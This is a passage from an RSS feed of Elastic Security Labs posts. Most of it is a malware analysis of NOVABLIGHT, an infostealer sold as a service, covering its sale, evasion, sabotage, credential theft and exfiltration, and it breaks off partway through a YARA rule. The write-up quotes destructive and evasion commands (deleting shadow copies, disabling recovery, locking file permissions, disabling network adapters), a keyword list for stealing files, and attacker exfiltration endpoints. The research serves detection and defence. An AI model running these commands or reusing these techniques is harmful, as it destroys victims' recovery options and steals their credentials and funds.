<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[MaaS Appeal: An Infostealer Rises From The Ashes]]></title>
            <link>https://www.elastic.co/de/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes</link>
            <guid>maas-appeal-an-infostealer-rises-from-the-ashes</guid>
            <pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[NOVABLIGHT is a NodeJS infostealer developed and sold as a MaaS offering; it is used primarily to steal credentials and compromise cryptowallets.]]></description>
            <content:encoded><![CDATA[<h2>NOVABLIGHT at a glance</h2>
<p>NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.</p>
<p>Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind <a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">Nova Sentinel and MALICORD</a>, is responsible for NOVABLIGHT as well.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image18.png" alt="Sordeal Group mentioned, followed by a link to the Telegram channel" /></p>
<h3>Key takeaways</h3>
<ul>
<li>NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.</li>
<li>NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.</li>
<li>Heavily obfuscated code with many capabilities.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL <code>http://gonefishe[.]com</code> prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image37.png" alt="Landing page for http://gonefishe . com" /></p>
<h2>Distribution, monetization, and community</h2>
<p>The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image27.png" alt="NOVABLIGHT’s product page on Billgang" /></p>
<p>The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.</p>
<p>The group promotes a referral program on their Discord channel with API keys as rewards.</p>
<p>Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:</p>
<ul>
<li><code>api.nova-blight[.]top</code></li>
<li><code>shadow.nova-blight[.]top</code></li>
<li><code>nova-blight[.]site</code></li>
<li><code>nova-blight[.]xyz</code></li>
<li><code>bamboulacity.nova-blight[.]xyz</code></li>
</ul>
<p>Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image30.png" alt="HTTP response from https://shadow.nova-blight .top found in VirusTotal" /></p>
<p>The GitHub account <code>KSCHcuck1</code> is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account <code>KSCH-58</code> (<a href="https://web.archive.org/web/20231216010712/https://github.com/KSCH-58">WEB ARCHIVE LINK</a>). The X account <code>@KSCH_dsc</code> also possessed similarities, and was actively advertising their &quot;best stealer ever released&quot; as recently as 2023.</p>
<p>The following GitHub accounts have been identified in relation to the group:</p>
<ul>
<li><a href="https://github.com/KSCHcuck1">https://github.com/KSCHcuck1</a></li>
<li><a href="https://github.com/CrackedProgramer412/caca">https://github.com/CrackedProgramer412/caca</a></li>
<li><a href="https://github.com/MYnva">https://github.com/MYnva</a></li>
<li><a href="https://github.com/404log">https://github.com/404log</a> (dead)</li>
</ul>
<p>Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image22.png" alt="User screenshots of building NOVABLIGHT" /></p>
<p>Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image23.png" alt="Image of phones a user of NOVABLIGHT claims to have purchased, shared via Telegram on May 15, 2025" /></p>
<h2>NOVABLIGHT analysis</h2>
<p>NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image16.png" alt="VirusTotal depicting low detection rate of NOVABLIGHT" /></p>
<p>A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image25.png" alt="Wallet clipper logic can either be executed or not, based on the config field swapWallet.active" /></p>
<p>Code snippets in this report are from a non-obfuscated version 2.0 <a href="https://www.virustotal.com/gui/file/abc5a9605010890d7514f239e3defbbccecaeaf4cc2e2b7d54cdaaed88dd3766">sample</a>, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 <a href="https://www.virustotal.com/gui/file/1a2fc6ee9c48f35cff500d7a95f5d919f644d0eeb2980f9cdad4762c42b94afc/detection">sample</a> when they differ.</p>
<h3>Code structure</h3>
<p>From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level &quot;flow&quot; controllers. The primary stages are:</p>
<ul>
<li><strong>flow/init:</strong> Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.</li>
<li><strong>flow/injecting:</strong> Application injection and patching (Atomic, Mullvad, Discord, …)</li>
<li><strong>flow/grabb</strong>: Data harvesting</li>
<li><strong>flow/ClipBoard</strong>: Clipboard hijacking</li>
<li><strong>flow/sending</strong>: Data exfiltration</li>
<li><strong>flow/disable</strong>: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)</li>
<li><strong>flow/cleaning:</strong> Post-exfiltration cleanup</li>
</ul>
<p>For more insights into the code structure, check out this GitHub <a href="https://gist.github.com/jiayuchann/b13ec30e72e69cb542e2e6d2e009c4a4">Gist</a>, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.</p>
<h3>Anti-debug and sandbox detection</h3>
<p>NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:</p>
<ul>
<li>Detecting VM-related GPU names (vmware, virtualbox, qemu)</li>
<li>Checking for blacklisted usernames (sandbox, test, malware)</li>
<li>Identifying VM-specific driver files (balloon.sys, qemu-ga)</li>
<li>Checking for low screen resolution and lack of USB devices</li>
<li>Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems</li>
<li>Actively killing known analysis and debugging tools found in a remote list</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image2.png" alt="Anti-debug and anti-VM checks" /></p>
<p>The blacklists are hosted on GitHub:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json">https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json">https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json</a></li>
<li><a href="https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json">https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json</a></li>
</ul>
<h3>Disable Defender &amp; attempts to disable Task Manager</h3>
<p>NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, <a href="https://raw.githubusercontent.com/ZygoteCode/WinDefendManager/refs/heads/main/Resources/DisableWD.bat">DisableWD.bat</a>, from a public GitHub repository.</p>
<p>The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses <code>setValues</code> from the <code>regedit-rs</code> package to set the <code>DisableTaskMgr</code> value to <code>1</code> under <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image20.png" alt="Disable Task Manager through the registry" /></p>
<p>However, looking at the <code>regedit-rs</code> <a href="https://github.com/Zagrios/regedit-rs/blob/4b7874eb6542cf162f62cf40719b44e69f086497/js-binding.js#L318">repo</a> (v1.0.3 to match), there are no exported functions named <code>setValues</code>, only <code>putValue</code>. This functionality may not work as intended.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image31.png" alt="Snippet of js-binding.js from the regedit-rs GitHub repo" /></p>
<h3>Disable internet access</h3>
<p>To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package <a href="https://www.npmjs.com/package/wifi-control">wifi-control</a> and its <a href="https://github.com/msolters/wifi-control-node/blob/13d02226a3e6b12b48ebd063af2e7e3c97ef0abe/src/wifi-control.coffee#L293">resetWiFi</a> function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image6.png" alt="Disable Wi-Fi adapter" /></p>
<p>The second method disables the primary “Ethernet” network adapter using the <code>netsh</code> command, running it every 5 seconds to disable re-enabling attempts.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image5.png" alt="Disable network adapter named “Ethernet”" /></p>
<h3>Defeat system recovery</h3>
<p>The malware can sabotage system recovery by disabling the Windows Recovery Environment (<code>reagentc /disable</code>) and deleting all Volume Shadow Copies (<code>vssadmin delete shadows /all</code>) when the <code>antireset</code> flag is enabled in the configuration.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image1.png" alt="Disable system restore" /></p>
<h3>Blocking file deletion</h3>
<p>Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through <code>icacls “${filePath}” /deny ${currentUser}:(DE,DC)</code>  where <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls">DE denies delete rights and DC prevents deletion</a> via the parent folder and optionally creating a pop-up message box containing a “troll” message.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image11.png" alt="Block current user from deleting the malware executable" /></p>
<p>Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: <code>Administrators</code>, <code>Power Users</code>, <code>Remote Desktop Users</code>, <code>Administrateurs</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image15.png" alt="Remove current user from Admin groups" /></p>
<h3>Clipboard address substitution</h3>
<p>The malware implements a &quot;clipper&quot; module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image13.png" alt="Fallback addresses are used if not specified in the config" /></p>
<h3>Electron application injections</h3>
<p>NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint <code>https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*</code>, targeting applications such as:</p>
<ul>
<li>Discord client</li>
<li>Exodus wallet</li>
<li>Mullvad VPN client</li>
<li>Atomic wallet</li>
<li>Mailspring email client</li>
</ul>
<p>We were able to retrieve all of the modules from a public GitHub <a href="https://github.com/CrackedProgramer412/caca/tree/main">repository</a>.</p>
<p>The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks <code>Program Files\\Mullvad VPN\\resources\\app.asar</code> into a temporary directory, fetches a backdoored version of <code>account.js</code> from <code>https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>, overwrites the source file <code>account.js</code>, and finally repacks it. While it might still work for older versions of Mullvad such as <a href="https://github.com/mullvad/mullvadvpn-app/releases/tag/2025.4">2025.4</a>, this does not seem to work on the latest version of Mullvad.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image17.png" alt="Repacking the Mullvad client" /></p>
<p>In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.<br />
This is what <a href="https://www.virustotal.com/gui/file/cf3a8cdb3fca4e9944dc90d13f2f4f2b4ae317955571d9132e97cc46a06f277b/detection"><code>main/index.js</code></a> looks like in a legitimate release of Exodus 25.28.4:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image21.png" alt="Original logic of main/index.js in the Exodus client" /></p>
<p>In the trojanized <code>index.js</code>, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image8.png" alt="Trojanized index.js" /></p>
<h3>Chrome sensitive data extraction</h3>
<p>For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from <a href="https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip">https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image35.png" alt="Dynamically retrieving Chrome data decryption tool" /></p>
<p>The GitHub repository attempts to masquerade as a Minecraft voting management tool.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image36.png" alt="GitHub repo with a fake README" /></p>
<p>However, the zip file <code>bin.zip</code> contains the compiled code (<a href="https://www.virustotal.com/gui/file/82920f3482c55430361b0cf184abf546fdb32fa079026d6ce1653f4cab49647d/detection">decrypt.exe</a> and <a href="https://www.virustotal.com/gui/file/daa1caa02a95411261aa7ed94762864e6f7bd7aa5fa79dfc9c1f3741d5ef8027">chrome_decrypt.dll</a>) of version 0.11.0 of the Chrome App-bound decrypter PoC project by <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">xaitax</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image32.png" alt="Chrome App-Bound Decryption tool by xaitax" /></p>
<h3>System enumeration</h3>
<p>Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.</p>
<ul>
<li><code>captureSystemInfo()</code>: Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.</li>
<li>Output: <code>*configured_path*/System Info.txt</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image34.png" alt="Collecting system information" /></p>
<ul>
<li><code>captureScreen()</code>: Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
<ul>
<li>Method: Utilizes the <a href="https://www.npmjs.com/package/screenshot-desktop">screenshot-desktop</a> library.</li>
<li>Output: A timestamped image file (e.g., <em>configured_path</em>/<em>hostname</em>_2025-10-26_14-30-00.png`).</li>
</ul>
</li>
<li><code>captureTaskList()</code>: Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
<ul>
<li>Method: Executes the command <code>tasklist /FO CSV /NH</code>.</li>
<li>Output: <code>*configured_path*/TaskManagerInfo.txt </code></li>
</ul>
</li>
<li><code>captureAVDetails()</code>: Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
<ul>
<li>Method: Executes the PowerShell command <code>Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List</code></li>
<li>Output: <code>*configured_path*/Avdetails.txt</code></li>
</ul>
</li>
<li><code>captureClipboardContent()</code>: Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
<ul>
<li>Method: Executes the PowerShell command <code>Get-Clipboard</code>.</li>
<li>Output: <code>*configured_path*/Clipboard.txt</code></li>
</ul>
</li>
<li><code>captureWebcamVideo()</code>: Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
<ul>
<li>Method: Leverages the <a href="http://direct-synch-show"><code>direct-synch-show</code></a> library for video capture.</li>
<li>Output: <code>*configured_path*/Bighead.avi</code></li>
</ul>
</li>
<li><code>captureWifiPasswords()</code>: Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
<ul>
<li>Method: Executes the command <code>netsh wlan show profile *wifi_ssid* key=clear</code> for each profile.</li>
<li>Output: <code>*configured_path*/WifiPasswords.txt</code></li>
</ul>
</li>
<li><code>getFilesUrgents</code>: This functionality exfiltrate files on disk according to a set of keywords as follow: <strong>backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni,</strong> these files are archived as <code>files.zip</code> then sent to the C2.</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image28.png" alt="Collecting important files" /></p>
<h3>Data exfiltration</h3>
<p>There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.</p>
<p>The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image12.png" alt="Dashboard on the NOVABLIGHT web panel" /></p>
<p>The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string <code>req</code> in this case <code>https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>.</p>
<p>If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at <code>https://api.telegram[.]org/bot*token*/sendMessage</code>) using a configured userId, chatId and botToken to send the stolen data.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image33.png" alt="Data exfiltration channel: Telegram" /></p>
<p>Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single  URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image19.png" alt="Data exfiltration channel: Discord" /></p>
<p>NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:</p>
<ul>
<li><code>https://bashupload[.]com</code></li>
<li><code>https://litterbox.catbox[.]moe/resources/internals/api.php</code></li>
<li><code>https://tmpfiles[.]org/api/v1/upload</code></li>
<li><code>https://oshi[.]at/</code></li>
<li><code>http://sendfile[.]su/</code></li>
<li><code>https://wsend[.]net</code></li>
<li><code>https://api.gofile[.]io/servers</code></li>
<li><code>https://gofile[.]io/uploadFiles</code></li>
<li><code>https://rdmfile[.]eu/api/upload</code></li>
<li><code>https://bamboulacity.nova-blight[.]xyz/file/</code></li>
</ul>
<h3>Targeted data</h3>
<p>NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub <a href="https://gist.github.com/jiayuchann/4a27afce5be67dd73edb9c4b9a6de1f9">Gist</a>.</p>
<h2>Obfuscation techniques</h2>
<h3>Array mapping</h3>
<p>The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array <code>__p_6Aeb_dlrArray</code> with values of different types and encoding, which accounts for nearly all literal values used in the script.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image4.png" alt="Main global array used for value lookups" /></p>
<p>After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image24.png" alt="Results after fixing array mapping for __p_6Aeb_dlrArray" /></p>
<h3>String encoding</h3>
<p>The second technique used to hide strings is the usage of base91 encoding. The function wrapper <code>__p_xIFu_MAIN_STR</code> is called with an integer argument.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image10.png" alt="Obfuscated strings" /></p>
<p>The integer is an index of a secondary array mapping <code>__p_9sMm_array</code> that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine <code>__p_xIFu_MAIN_STR_decode</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image9.png" alt="Global array used for lookup by __p_xIFu_MAIN_STR" /></p>
<p><code>__p_xIFu_MAIN_STR_decode</code> will then decode it using a custom alphabet:<br />
<code>vFAjbQox\&gt;5?4K$m=83GYu.nBIh\&lt;drPaN\^@%Hk:D_sSyz&quot;ER9/p,(*JwtfO)iUl&amp;C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7</code> and return the decoded string.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image26.png" alt="Main logic for string decoding" /></p>
<h3>Access pattern obfuscation</h3>
<p>Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.</p>
<p>For example, the function <code>__p_LQ1f_flat_…</code> is passed a flat object <code>__p_w3Th_flat_object</code>. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (<code>__p_jGTR_dispatcher_26</code>). Throughout the code, there is a pattern where the property names start with <code>empretecerian.js</code>, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image29.png" alt="Example pattern for flattened object" /></p>
<h3>Control flow obfuscation</h3>
<p>Some of the code’s execution path is routed through a central dispatcher,  <code>__p_jGTR_dispatcher_26</code>, in which the first argument name takes a short ID string.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image7.png" alt="The main dispatcher’s function signature" /></p>
<p>Each ID is mapped to a distinct function. For example, the ID <code>jgqatJ</code> is referenced by the <code>modules/init/Troll.js</code> module and it is responsible for a “troll” popup message box.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image14.png" alt="Mapping function ID to the actual function" /></p>
<h3>Proxy variables</h3>
<p>First, the obfuscation transforms function syntax to “<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters syntax</a>” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function <code>__p_xIFu_MAIN_STR_decode</code> is not called with direct parameters. Instead, its arguments are first placed into the <code>__p_A5wG_varMask</code> array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index <code>-36</code> of the array stores the index of the character &quot;c&quot; in a string stored in <code>__p_A5wG_varMask[171]</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image3.png" alt="Function utilizing rest parameters" /></p>
<h2>NOVABLIGHT and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1125/">Video Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1531/">Account Access Removal</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Password Stores: Credentials from Web Browsers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
</ul>
<h2>Conclusion</h2>
<p>NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.</p>
<p>Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.</p>
<h2>Detecting NOVABLIGHT</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Infostealer_NovaBlight {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-07-18&quot;
        last_modified = &quot;2025-07-28&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Infostealer&quot;
        family = &quot;NovaBlight&quot;
        threat_name = &quot;Windows.Infostealer.NovaBlight&quot;
        reference_sample = &quot;d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73&quot;

    strings:
